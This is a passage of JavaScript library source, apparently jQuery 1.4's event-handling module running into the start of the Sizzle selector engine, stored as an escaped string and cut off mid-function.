];\n\n\t\t\t\t\t\tif ( old ) {\n\t\t\t\t\t\t\ttarget[ \"on\" + type ] = null;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tthis.triggered = true;\n\t\t\t\t\t\ttarget[ type ]();\n\t\t\t\t\t}\n\n\t\t\t\t// prevent IE from throwing an error for some elements with some event types, see #3533\n\t\t\t\t} catch (e) {}\n\n\t\t\t\tif ( old ) {\n\t\t\t\t\ttarget[ \"on\" + type ] = old;\n\t\t\t\t}\n\n\t\t\t\tthis.triggered = false;\n\t\t\t}\n\t\t}\n\t},\n\n\thandle: function( event ) {\n\t\t// returned undefined or false\n\t\tvar all, handlers;\n\n\t\tevent = arguments[0] = jQuery.event.fix( event || window.event );\n\t\tevent.currentTarget = this;\n\n\t\t// Namespaced event handlers\n\t\tvar namespaces = event.type.split(\".\");\n\t\tevent.type = namespaces.shift();\n\n\t\t// Cache this now, all = true means, any handler\n\t\tall = !namespaces.length && !event.exclusive;\n\n\t\tvar namespace = new RegExp(\"(^|\\\\.)\" + namespaces.slice(0).sort().join(\"\\\\.(?:.*\\\\.)?\") + \"(\\\\.|$)\");\n\n\t\thandlers = ( jQuery.data(this, \"events\") || {} )[ event.type ];\n\n\t\tfor ( var j in handlers ) {\n\t\t\tvar handler = handlers[ j ];\n\n\t\t\t// Filter the functions by class\n\t\t\tif ( all || namespace.test(handler.type) ) {\n\t\t\t\t// Pass in a reference to the handler function itself\n\t\t\t\t// So that we can later remove it\n\t\t\t\tevent.handler = handler;\n\t\t\t\tevent.data = handler.data;\n\n\t\t\t\tvar ret = handler.apply( this, arguments );\n\n\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\tevent.result = ret;\n\t\t\t\t\tif ( ret === false ) {\n\t\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( event.isImmediatePropagationStopped() ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\tprops: \"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which\".split(\" \"),\n\n\tfix: function( event ) {\n\t\tif ( event[ expando ] ) {\n\t\t\treturn event;\n\t\t}\n\n\t\t// store a copy of the original event object\n\t\t// and \"clone\" to set read-only properties\n\t\tvar originalEvent = event;\n\t\tevent = jQuery.Event( originalEvent );\n\n\t\tfor ( var i = this.props.length, prop; i; ) {\n\t\t\tprop = this.props[ --i ];\n\t\t\tevent[ prop ] = originalEvent[ prop ];\n\t\t}\n\n\t\t// Fix target property, if necessary\n\t\tif ( !event.target ) {\n\t\t\tevent.target = event.srcElement || document; // Fixes #1925 where srcElement might not be defined either\n\t\t}\n\n\t\t// check if target is a textnode (safari)\n\t\tif ( event.target.nodeType === 3 ) {\n\t\t\tevent.target = event.target.parentNode;\n\t\t}\n\n\t\t// Add relatedTarget, if necessary\n\t\tif ( !event.relatedTarget && event.fromElement ) {\n\t\t\tevent.relatedTarget = event.fromElement === event.target ? event.toElement : event.fromElement;\n\t\t}\n\n\t\t// Calculate pageX/Y if missing and clientX/Y available\n\t\tif ( event.pageX == null && event.clientX != null ) {\n\t\t\tvar doc = document.documentElement, body = document.body;\n\t\t\tevent.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);\n\t\t\tevent.pageY = event.clientY + (doc && doc.scrollTop  || body && body.scrollTop  || 0) - (doc && doc.clientTop  || body && body.clientTop  || 0);\n\t\t}\n\n\t\t// Add which for key events\n\t\tif ( !event.which && ((event.charCode || event.charCode === 0) ? event.charCode : event.keyCode) ) {\n\t\t\tevent.which = event.charCode || event.keyCode;\n\t\t}\n\n\t\t// Add metaKey to non-Mac browsers (use ctrl for PC's and Meta for Macs)\n\t\tif ( !event.metaKey && event.ctrlKey ) {\n\t\t\tevent.metaKey = event.ctrlKey;\n\t\t}\n\n\t\t// Add which for click: 1 === left; 2 === middle; 3 === right\n\t\t// Note: button is not normalized, so don't use it\n\t\tif ( !event.which && event.button !== undefined ) {\n\t\t\tevent.which = (event.button & 1 ? 1 : ( event.button & 2 ? 3 : ( event.button & 4 ? 2 : 0 ) ));\n\t\t}\n\n\t\treturn event;\n\t},\n\n\t// Deprecated, use jQuery.guid instead\n\tguid: 1E8,\n\n\t// Deprecated, use jQuery.proxy instead\n\tproxy: jQuery.proxy,\n\n\tspecial: {\n\t\tready: {\n\t\t\t// Make sure the ready event is setup\n\t\t\tsetup: jQuery.bindReady,\n\t\t\tteardown: jQuery.noop\n\t\t},\n\n\t\tlive: {\n\t\t\tadd: function( proxy, data, namespaces, live ) {\n\t\t\t\tjQuery.extend( proxy, data || {} );\n\n\t\t\t\tproxy.guid += data.selector + data.live;\n\t\t\t\tdata.liveProxy = proxy;\n\n\t\t\t\tjQuery.event.add( this, data.live, liveHandler, data );\n\n\t\t\t},\n\n\t\t\tremove: function( namespaces ) {\n\t\t\t\tif ( namespaces.length ) {\n\t\t\t\t\tvar remove = 0, name = new RegExp(\"(^|\\\\.)\" + namespaces[0] + \"(\\\\.|$)\");\n\n\t\t\t\t\tjQuery.each( (jQuery.data(this, \"events\").live || {}), function() {\n\t\t\t\t\t\tif ( name.test(this.type) ) {\n\t\t\t\t\t\t\tremove++;\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\n\t\t\t\t\tif ( remove < 1 ) {\n\t\t\t\t\t\tjQuery.event.remove( this, namespaces[0], liveHandler );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\t\t\tspecial: {}\n\t\t},\n\t\tbeforeunload: {\n\t\t\tsetup: function( data, namespaces, fn ) {\n\t\t\t\t// We only want to do this special case on windows\n\t\t\t\tif ( this.setInterval ) {\n\t\t\t\t\tthis.onbeforeunload = fn;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t},\n\t\t\tteardown: function( namespaces, fn ) {\n\t\t\t\tif ( this.onbeforeunload === fn ) {\n\t\t\t\t\tthis.onbeforeunload = null;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\njQuery.Event = function( src ) {\n\t// Allow instantiation without the 'new' keyword\n\tif ( !this.preventDefault ) {\n\t\treturn new jQuery.Event( src );\n\t}\n\n\t// Event object\n\tif ( src && src.type ) {\n\t\tthis.originalEvent = src;\n\t\tthis.type = src.type;\n\t// Event type\n\t} else {\n\t\tthis.type = src;\n\t}\n\n\t// timeStamp is buggy for some events on Firefox(#3843)\n\t// So we won't rely on the native value\n\tthis.timeStamp = now();\n\n\t// Mark it as fixed\n\tthis[ expando ] = true;\n};\n\nfunction returnFalse() {\n\treturn false;\n}\nfunction returnTrue() {\n\treturn true;\n}\n\n// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding\n// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html\njQuery.Event.prototype = {\n\tpreventDefault: function() {\n\t\tthis.isDefaultPrevented = returnTrue;\n\n\t\tvar e = this.originalEvent;\n\t\tif ( !e ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// if preventDefault exists run it on the original event\n\t\tif ( e.preventDefault ) {\n\t\t\te.preventDefault();\n\t\t}\n\t\t// otherwise set the returnValue property of the original event to false (IE)\n\t\te.returnValue = false;\n\t},\n\tstopPropagation: function() {\n\t\tthis.isPropagationStopped = returnTrue;\n\n\t\tvar e = this.originalEvent;\n\t\tif ( !e ) {\n\t\t\treturn;\n\t\t}\n\t\t// if stopPropagation exists run it on the original event\n\t\tif ( e.stopPropagation ) {\n\t\t\te.stopPropagation();\n\t\t}\n\t\t// otherwise set the cancelBubble property of the original event to true (IE)\n\t\te.cancelBubble = true;\n\t},\n\tstopImmediatePropagation: function() {\n\t\tthis.isImmediatePropagationStopped = returnTrue;\n\t\tthis.stopPropagation();\n\t},\n\tisDefaultPrevented: returnFalse,\n\tisPropagationStopped: returnFalse,\n\tisImmediatePropagationStopped: returnFalse\n};\n\n// Checks if an event happened on an element within another element\n// Used in jQuery.event.special.mouseenter and mouseleave handlers\nvar withinElement = function( event ) {\n\t// Check if mouse(over|out) are still within the same parent element\n\tvar parent = event.relatedTarget;\n\n\t// Traverse up the tree\n\twhile ( parent && parent !== this ) {\n\t\t// Firefox sometimes assigns relatedTarget a XUL element\n\t\t// which we cannot access the parentNode property of\n\t\ttry {\n\t\t\tparent = parent.parentNode;\n\n\t\t// assuming we've left the element since we most likely mousedover a xul element\n\t\t} catch(e) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif ( parent !== this ) {\n\t\t// set the correct event type\n\t\tevent.type = event.data;\n\n\t\t// handle event if we actually just moused on to a non sub-element\n\t\tjQuery.event.handle.apply( this, arguments );\n\t}\n\n},\n\n// In case of event delegation, we only need to rename the event.type,\n// liveHandler will take care of the rest.\ndelegate = function( event ) {\n\tevent.type = event.data;\n\tjQuery.event.handle.apply( this, arguments );\n};\n\n// Create mouseenter and mouseleave events\njQuery.each({\n\tmouseenter: \"mouseover\",\n\tmouseleave: \"mouseout\"\n}, function( orig, fix ) {\n\tjQuery.event.special[ orig ] = {\n\t\tsetup: function( data ) {\n\t\t\tjQuery.event.add( this, fix, data && data.selector ? delegate : withinElement, orig );\n\t\t},\n\t\tteardown: function( data ) {\n\t\t\tjQuery.event.remove( this, fix, data && data.selector ? delegate : withinElement );\n\t\t}\n\t};\n});\n\n// submit delegation\nif ( !jQuery.support.submitBubbles ) {\n\njQuery.event.special.submit = {\n\tsetup: function( data, namespaces, fn ) {\n\t\tif ( this.nodeName.toLowerCase() !== \"form\" ) {\n\t\t\tjQuery.event.add(this, \"click.specialSubmit.\" + fn.guid, function( e ) {\n\t\t\t\tvar elem = e.target, type = elem.type;\n\n\t\t\t\tif ( (type === \"submit\" || type === \"image\") && jQuery( elem ).closest(\"form\").length ) {\n\t\t\t\t\treturn trigger( \"submit\", this, arguments );\n\t\t\t\t}\n\t\t\t});\n\n\t\t\tjQuery.event.add(this, \"keypress.specialSubmit.\" + fn.guid, function( e ) {\n\t\t\t\tvar elem = e.target, type = elem.type;\n\n\t\t\t\tif ( (type === \"text\" || type === \"password\") && jQuery( elem ).closest(\"form\").length && e.keyCode === 13 ) {\n\t\t\t\t\treturn trigger( \"submit\", this, arguments );\n\t\t\t\t}\n\t\t\t});\n\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t},\n\n\tremove: function( namespaces, fn ) {\n\t\tjQuery.event.remove( this, \"click.specialSubmit\" + (fn ? \".\"+fn.guid : \"\") );\n\t\tjQuery.event.remove( this, \"keypress.specialSubmit\" + (fn ? \".\"+fn.guid : \"\") );\n\t}\n};\n\n}\n\n// change delegation, happens here so we have bind.\nif ( !jQuery.support.changeBubbles ) {\n\nvar formElems = /textarea|input|select/i;\n\nfunction getVal( elem ) {\n\tvar type = elem.type, val = elem.value;\n\n\tif ( type === \"radio\" || type === \"checkbox\" ) {\n\t\tval = elem.checked;\n\n\t} else if ( type === \"select-multiple\" ) {\n\t\tval = elem.selectedIndex > -1 ?\n\t\t\tjQuery.map( elem.options, function( elem ) {\n\t\t\t\treturn elem.selected;\n\t\t\t}).join(\"-\") :\n\t\t\t\"\";\n\n\t} else if ( elem.nodeName.toLowerCase() === \"select\" ) {\n\t\tval = elem.selectedIndex;\n\t}\n\n\treturn val;\n}\n\nfunction testChange( e ) {\n\t\tvar elem = e.target, data, val;\n\n\t\tif ( !formElems.test( elem.nodeName ) || elem.readOnly ) {\n\t\t\treturn;\n\t\t}\n\n\t\tdata = jQuery.data( elem, \"_change_data\" );\n\t\tval = getVal(elem);\n\n\t\t// the current data will be also retrieved by beforeactivate\n\t\tif ( e.type !== \"focusout\" || elem.type !== \"radio\" ) {\n\t\t\tjQuery.data( elem, \"_change_data\", val );\n\t\t}\n\n\t\tif ( data === undefined || val === data ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( data != null || val ) {\n\t\t\te.type = \"change\";\n\t\t\treturn jQuery.event.trigger( e, arguments[1], elem );\n\t\t}\n}\n\njQuery.event.special.change = {\n\tfilters: {\n\t\tfocusout: testChange,\n\n\t\tclick: function( e ) {\n\t\t\tvar elem = e.target, type = elem.type;\n\n\t\t\tif ( type === \"radio\" || type === \"checkbox\" || elem.nodeName.toLowerCase() === \"select\" ) {\n\t\t\t\treturn testChange.call( this, e );\n\t\t\t}\n\t\t},\n\n\t\t// Change has to be called before submit\n\t\t// Keydown will be called before keypress, which is used in submit-event delegation\n\t\tkeydown: function( e ) {\n\t\t\tvar elem = e.target, type = elem.type;\n\n\t\t\tif ( (e.keyCode === 13 && elem.nodeName.toLowerCase() !== \"textarea\") ||\n\t\t\t\t(e.keyCode === 32 && (type === \"checkbox\" || type === \"radio\")) ||\n\t\t\t\ttype === \"select-multiple\" ) {\n\t\t\t\treturn testChange.call( this, e );\n\t\t\t}\n\t\t},\n\n\t\t// Beforeactivate happens also before the previous element is blurred\n\t\t// with this event you can't trigger a change event, but you can store\n\t\t// information/focus[in] is not needed anymore\n\t\tbeforeactivate: function( e ) {\n\t\t\tvar elem = e.target;\n\n\t\t\tif ( elem.nodeName.toLowerCase() === \"input\" && elem.type === \"radio\" ) {\n\t\t\t\tjQuery.data( elem, \"_change_data\", getVal(elem) );\n\t\t\t}\n\t\t}\n\t},\n\tsetup: function( data, namespaces, fn ) {\n\t\tfor ( var type in changeFilters ) {\n\t\t\tjQuery.event.add( this, type + \".specialChange.\" + fn.guid, changeFilters[type] );\n\t\t}\n\n\t\treturn formElems.test( this.nodeName );\n\t},\n\tremove: function( namespaces, fn ) {\n\t\tfor ( var type in changeFilters ) {\n\t\t\tjQuery.event.remove( this, type + \".specialChange\" + (fn ? \".\"+fn.guid : \"\"), changeFilters[type] );\n\t\t}\n\n\t\treturn formElems.test( this.nodeName );\n\t}\n};\n\nvar changeFilters = jQuery.event.special.change.filters;\n\n}\n\nfunction trigger( type, elem, args ) {\n\targs[0].type = type;\n\treturn jQuery.event.handle.apply( elem, args );\n}\n\n// Create \"bubbling\" focus and blur events\nif ( document.addEventListener ) {\n\tjQuery.each({ focus: \"focusin\", blur: \"focusout\" }, function( orig, fix ) {\n\t\tjQuery.event.special[ fix ] = {\n\t\t\tsetup: function() {\n\t\t\t\tthis.addEventListener( orig, handler, true );\n\t\t\t},\n\t\t\tteardown: function() {\n\t\t\t\tthis.removeEventListener( orig, handler, true );\n\t\t\t}\n\t\t};\n\n\t\tfunction handler( e ) {\n\t\t\te = jQuery.event.fix( e );\n\t\t\te.type = fix;\n\t\t\treturn jQuery.event.handle.call( this, e );\n\t\t}\n\t});\n}\n\njQuery.each([\"bind\", \"one\"], function( i, name ) {\n\tjQuery.fn[ name ] = function( type, data, fn ) {\n\t\t// Handle object literals\n\t\tif ( typeof type === \"object\" ) {\n\t\t\tfor ( var key in type ) {\n\t\t\t\tthis[ name ](key, data, type[key], fn);\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\tfn = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\tvar handler = name === \"one\" ? jQuery.proxy( fn, function( event ) {\n\t\t\tjQuery( this ).unbind( event, handler );\n\t\t\treturn fn.apply( this, arguments );\n\t\t}) : fn;\n\n\t\treturn type === \"unload\" && name !== \"one\" ?\n\t\t\tthis.one( type, data, fn ) :\n\t\t\tthis.each(function() {\n\t\t\t\tjQuery.event.add( this, type, handler, data );\n\t\t\t});\n\t};\n});\n\njQuery.fn.extend({\n\tunbind: function( type, fn ) {\n\t\t// Handle object literals\n\t\tif ( typeof type === \"object\" && !type.preventDefault ) {\n\t\t\tfor ( var key in type ) {\n\t\t\t\tthis.unbind(key, type[key]);\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tjQuery.event.remove( this, type, fn );\n\t\t});\n\t},\n\ttrigger: function( type, data ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.event.trigger( type, data, this );\n\t\t});\n\t},\n\n\ttriggerHandler: function( type, data ) {\n\t\tif ( this[0] ) {\n\t\t\tvar event = jQuery.Event( type );\n\t\t\tevent.preventDefault();\n\t\t\tevent.stopPropagation();\n\t\t\tjQuery.event.trigger( event, data, this[0] );\n\t\t\treturn event.result;\n\t\t}\n\t},\n\n\ttoggle: function( fn ) {\n\t\t// Save reference to arguments for access in closure\n\t\tvar args = arguments, i = 1;\n\n\t\t// link all the functions, so any of them can unbind this click handler\n\t\twhile ( i < args.length ) {\n\t\t\tjQuery.proxy( fn, args[ i++ ] );\n\t\t}\n\n\t\treturn this.click( jQuery.proxy( fn, function( event ) {\n\t\t\t// Figure out which function to execute\n\t\t\tvar lastToggle = ( jQuery.data( this, \"lastToggle\" + fn.guid ) || 0 ) % i;\n\t\t\tjQuery.data( this, \"lastToggle\" + fn.guid, lastToggle + 1 );\n\n\t\t\t// Make sure that clicks stop\n\t\t\tevent.preventDefault();\n\n\t\t\t// and execute the function\n\t\t\treturn args[ lastToggle ].apply( this, arguments ) || false;\n\t\t}));\n\t},\n\n\thover: function( fnOver, fnOut ) {\n\t\treturn this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );\n\t}\n});\n\njQuery.each([\"live\", \"die\"], function( i, name ) {\n\tjQuery.fn[ name ] = function( types, data, fn ) {\n\t\tvar type, i = 0;\n\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\tfn = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\ttypes = (types || \"\").split( /\\s+/ );\n\n\t\twhile ( (type = types[ i++ ]) != null ) {\n\t\t\ttype = type === \"focus\" ? \"focusin\" : // focus --> focusin\n\t\t\t\t\ttype === \"blur\" ? \"focusout\" : // blur --> focusout\n\t\t\t\t\ttype === \"hover\" ? types.push(\"mouseleave\") && \"mouseenter\" : // hover support\n\t\t\t\t\ttype;\n\n\t\t\tif ( name === \"live\" ) {\n\t\t\t\t// bind live handler\n\t\t\t\tjQuery( this.context ).bind( liveConvert( type, this.selector ), {\n\t\t\t\t\tdata: data, selector: this.selector, live: type\n\t\t\t\t}, fn );\n\n\t\t\t} else {\n\t\t\t\t// unbind live handler\n\t\t\t\tjQuery( this.context ).unbind( liveConvert( type, this.selector ), fn ? { guid: fn.guid + this.selector + type } : null );\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t}\n});\n\nfunction liveHandler( event ) {\n\tvar stop, elems = [], selectors = [], args = arguments,\n\t\trelated, match, fn, elem, j, i, l, data,\n\t\tlive = jQuery.extend({}, jQuery.data( this, \"events\" ).live);\n\n\t// Make sure we avoid non-left-click bubbling in Firefox (#3861)\n\tif ( event.button && event.type === \"click\" ) {\n\t\treturn;\n\t}\n\n\tfor ( j in live ) {\n\t\tfn = live[j];\n\t\tif ( fn.live === event.type ||\n\t\t\t\tfn.altLive && jQuery.inArray(event.type, fn.altLive) > -1 ) {\n\n\t\t\tdata = fn.data;\n\t\t\tif ( !(data.beforeFilter && data.beforeFilter[event.type] &&\n\t\t\t\t\t!data.beforeFilter[event.type](event)) ) {\n\t\t\t\tselectors.push( fn.selector );\n\t\t\t}\n\t\t} else {\n\t\t\tdelete live[j];\n\t\t}\n\t}\n\n\tmatch = jQuery( event.target ).closest( selectors, event.currentTarget );\n\n\tfor ( i = 0, l = match.length; i < l; i++ ) {\n\t\tfor ( j in live ) {\n\t\t\tfn = live[j];\n\t\t\telem = match[i].elem;\n\t\t\trelated = null;\n\n\t\t\tif ( match[i].selector === fn.selector ) {\n\t\t\t\t// Those two events require additional checking\n\t\t\t\tif ( fn.live === \"mouseenter\" || fn.live === \"mouseleave\" ) {\n\t\t\t\t\trelated = jQuery( event.relatedTarget ).closest( fn.selector )[0];\n\t\t\t\t}\n\n\t\t\t\tif ( !related || related !== elem ) {\n\t\t\t\t\telems.push({ elem: elem, fn: fn });\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor ( i = 0, l = elems.length; i < l; i++ ) {\n\t\tmatch = elems[i];\n\t\tevent.currentTarget = match.elem;\n\t\tevent.data = match.fn.data;\n\t\tif ( match.fn.apply( match.elem, args ) === false ) {\n\t\t\tstop = false;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn stop;\n}\n\nfunction liveConvert( type, selector ) {\n\treturn \"live.\" + (type ? type + \".\" : \"\") + selector.replace(/\\./g, \"`\").replace(/ /g, \"&\");\n}\n\njQuery.each( (\"blur focus focusin focusout load resize scroll unload click dblclick \" +\n\t\"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n\t\"change select submit keydown keypress keyup error\").split(\" \"), function( i, name ) {\n\n\t// Handle event binding\n\tjQuery.fn[ name ] = function( fn ) {\n\t\treturn fn ? this.bind( name, fn ) : this.trigger( name );\n\t};\n\n\tif ( jQuery.attrFn ) {\n\t\tjQuery.attrFn[ name ] = true;\n\t}\n});\n\n// Prevent memory leaks in IE\n// Window isn't included so as not to unbind existing unload events\n// More info:\n//  - http://isaacschlueter.com/2006/10/msie-memory-leaks/\nif ( window.attachEvent && !window.addEventListener ) {\n\twindow.attachEvent(\"onunload\", function() {\n\t\tfor ( var id in jQuery.cache ) {\n\t\t\tif ( jQuery.cache[ id ].handle ) {\n\t\t\t\t// Try/Catch is to handle iframes being unloaded, see #4280\n\t\t\t\ttry {\n\t\t\t\t\tjQuery.event.remove( jQuery.cache[ id ].handle.elem );\n\t\t\t\t} catch(e) {}\n\t\t\t}\n\t\t}\n\t});\n}\n/*!\n * Sizzle CSS Selector Engine - v1.0\n *  Copyright 2009, The Dojo Foundation\n *  Released under the MIT, BSD, and GPL Licenses.\n *  More information: http://sizzlejs.com/\n */\n(function(){\n\nvar chunker = /((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^[\\]]*\\]|['\"][^'\"]*['\"]|[^[\\]'\"]+)+\\]|\\\\.|[^ >+~,(\\[\\\\]+)+|[>+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,\n\tdone = 0,\n\ttoString = Object.prototype.toString,\n\thasDuplicate = false,\n\tbaseHasDuplicate = true;\n\n// Here we check if the JavaScript engine is using some sort of\n// optimization where it does not always call our comparision\n// function. If that is the case, discard the hasDuplicate value.\n//   Thus far that includes Google Chrome.\n[0, 0].sort(function(){\n\tbaseHasDuplicate = false;\n\treturn 0;\n});\n\nvar Sizzle = function(selector, context, results, seed) {\n\tresults = results || [];\n\tvar origContext = context = context || document;\n\n\tif ( context.nodeType !== 1 && context.nodeType !== 9 ) {\n\t\treturn [];\n\t}\n\n\tif ( !selector || typeof selector !== \"string\" ) {\n\t\treturn results;\n\t}\n\n\tvar parts = [], m, set, checkSet, extra, prune = true, contextXML = isXML(context),\n\t\tsoFar = selector;\n\n\t// Reset the position of the chunker regexp (start from head)\n\twhile ( (chunker.exec(\"\"), m = chunker.exec(soFar)) !== null ) {\n\t\tsoFar = m[3];\n\n\t\tparts.push( m[1] );\n\n\t\tif ( m[2] ) {\n\t\t\textra = m[3];\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif ( parts.length > 1 && origPOS.exec( selector ) ) {\n\t\tif ( parts.length === 2 && Expr.relative[ parts[0] ] ) {\n\t\t\tset = posProcess( parts[0] + parts[1], context );\n\t\t} else {\n\t\t\tset = Expr.relative[ parts[0] ] ?\n\t\t\t\t[ context ] :\n\t\t\t\tSizzle( parts.shift(), context );\n\n\t\t\twhile ( parts.length ) {\n\t\t\t\tselector = parts.shift();\n\n\t\t\t\tif ( Expr.relative[ selector ] ) {\n\t\t\t\t\tselector += parts.shift();\n\t\t\t\t}\n\n\t\t\t\tset = posProcess( selector, set );\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// Take a shortcut and set the context if the root selector is an ID\n\t\t// (but not if it'll be faster if the inner selector is an ID)\n\t\tif ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&\n\t\t\t\tExpr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {\n\t\t\tvar ret = Sizzle.find( parts.shift(), context, contextXML );\n\t\t\tcontext = ret.expr ? Sizzle.filter( ret.expr, ret.set )[0] : ret.set[0];\n\t\t}\n\n\t\tif ( context ) {\n\t\t\tvar ret = seed ?\n\t\t\t\t{ expr: parts.pop(), set: makeArray(seed) } :\n\t\t\t\tSizzle.find( parts.pop(), parts.length === 1 && (parts[0] === \"~\" || parts[0] === \"+\") && context.parentNode ? context.parentNode : context, contextXML );\n\t\t\tset = ret.expr ? Sizzle.filter( ret.expr, ret.set ) : ret.set;\n\n\t\t\tif ( parts.length > 0 ) {\n\t\t\t\tcheckSet = makeArray(set);\n\t\t\t} else {\n\t\t\t\tprune = false;\n\t\t\t}\n\n\t\t\twhile ( parts.length ) {\n\t\t\t\tvar cur = parts.pop(), pop = cur;\n\n\t\t\t\tif ( !Expr.relative[ cur ] ) {\n\t\t\t\t\tcur = \"\";\n\t\t\t\t} else {\n\t\t\t\t\tpop = parts.pop();\n\t\t\t\t}\n\n\t\t\t\tif ( pop == null ) {\n\t\t\t\t\tpop = context;\n\t\t\t\t}\n\n\t\t\t\tExpr.relative[ cur ]( checkSet, pop, contextXML );\n\t\t\t}\n\t\t} else {\n\t\t\tcheckSet = parts = [];\n\t\t}\n\t}\n\n\tif ( !checkSet ) {\n\t\tcheckSet = set;\n\t}\n\n\tif ( !checkSet ) {\n\t\tSizzle.error( cur || selector );\n\t}\n\n\tif ( toString.call(checkSet) === \"[object Array]\" ) {\n\t\tif ( !prune ) {\n\t\t\tresults.push.apply( results, checkSet );\n\t\t} else if ( context && context.nodeType === 1 ) {\n\t\t\tfor ( var i = 0; checkSet[i] != null; i++ ) {\n\t\t\t\tif ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && contains(context, checkSet[i])) ) {\n\t\t\t\t\tresults.push( set[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfor ( var i = 0; checkSet[i] != null; i++ ) {\n\t\t\t\tif ( checkSet[i] && checkSet[i].nodeType === 1 ) {\n\t\t\t\t\tresults.push( set[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tmakeArray( checkSet, results );\n\t}\n\n\tif ( extra ) {\n\t\tSizzle( extra, origContext, results, seed );\n\t\tSizzle.uniqueSort( results );\n\t}\n\n\treturn results;\n};\n\nSizzle.uniqueSort = function(results){\n\tif ( sortOrder ) {\n\t\thasDuplicate = baseHasDuplicate;\n\t\tresults.sort(sortOrder);\n\n\t\tif ( hasDuplicate ) {\n\t\t\tfor ( var i = 1; i < results.length; i++ ) {\n\t\t\t\tif ( results[i] === results[i-1] ) {\n\t\t\t\t\tresults.splice(i--, 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn results;\n};\n\nSizzle.matches = function(expr, set){\n\treturn Sizzle(expr, null, null, set);\n};\n\nSizzle.find = function(expr, context, isXML){\n\tvar set, match;\n\n\tif ( !expr ) {\n\t\treturn [];\n\t}\n\n\tfor ( var i = 0, l = Expr.order.length; i < l; i++ ) {\n\t\tvar type = Expr.order[i], match;\n\n\t\tif ( (match = Expr.leftMatch[ type ].exec( expr )) ) {\n\t\t\tvar left = match[1];\n\t\t\tmatch.splice(1,1);\n\n\t\t\tif ( left.substr( left.length - 1 ) !== \"\\\\\" ) {\n\t\t\t\tmatch[1] = (match[1] || \"\").replace(/\\\\/g, \"\");\n\t\t\t\tset = Expr.find[ type ]( match, context, isXML );\n\t\t\t\tif ( set != null ) {\n\t\t\t\t\texpr = expr.replace( Expr.match[ type ], \"\" );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( !set ) {\n\t\tset = context.getElementsByTagName(\"*\");\n\t}\n\n\treturn {set: set, expr: expr};\n};\n\nSizzle.filter = function(expr, set, inplace, not){\n\tvar old = expr, result = [], curLoop = set, match, anyFound,\n\t\tisXMLFilter = set && set[0] && isXML(set[0]);\n\n\twhile ( expr && set.length ) {\n\t\tfor ( var type in Expr.filter ) {\n\t\t\tif ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {\n\t\t\t\tvar filter = Expr.filter[ type ], found, item, left = match[1];\n\t\t\t\tanyFound = false;\n\n\t\t\t\tmatch.splice(1,1);\n\n\t\t\t\tif ( left.substr( left.length - 1 ) === \"\\\\\" ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif ( curLoop === result ) {\n\t\t\t\t\tresult = [];\n\t\t\t\t}\n\n\t\t\t\tif ( Expr.preFilter[ type ] ) {\n\t\t\t\t\tmatch = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );\n\n\t\t\t\t\tif ( !match ) {\n\t\t\t\t\t\tanyFound = found = true;\n\t\t\t\t\t} else if ( match === true ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( match ) {\n\t\t\t\t\tfor ( var i = 0; (item = curLoop[i]) != null; i++ ) {\n\t\t\t\t\t\tif ( item ) {\n\t\t\t\t\t\t\tfound = filter( item, match, i, curLoop );\n\t\t\t\t\t\t\tvar pass = not ^ !!found;\n\n\t\t\t\t\t\t\tif ( inplace && found != null ) {\n\t\t\t\t\t\t\t\tif ( pass ) {\n\t\t\t\t\t\t\t\t\tanyFound = true;\n\t\t\t\t\t\t\t\t} else 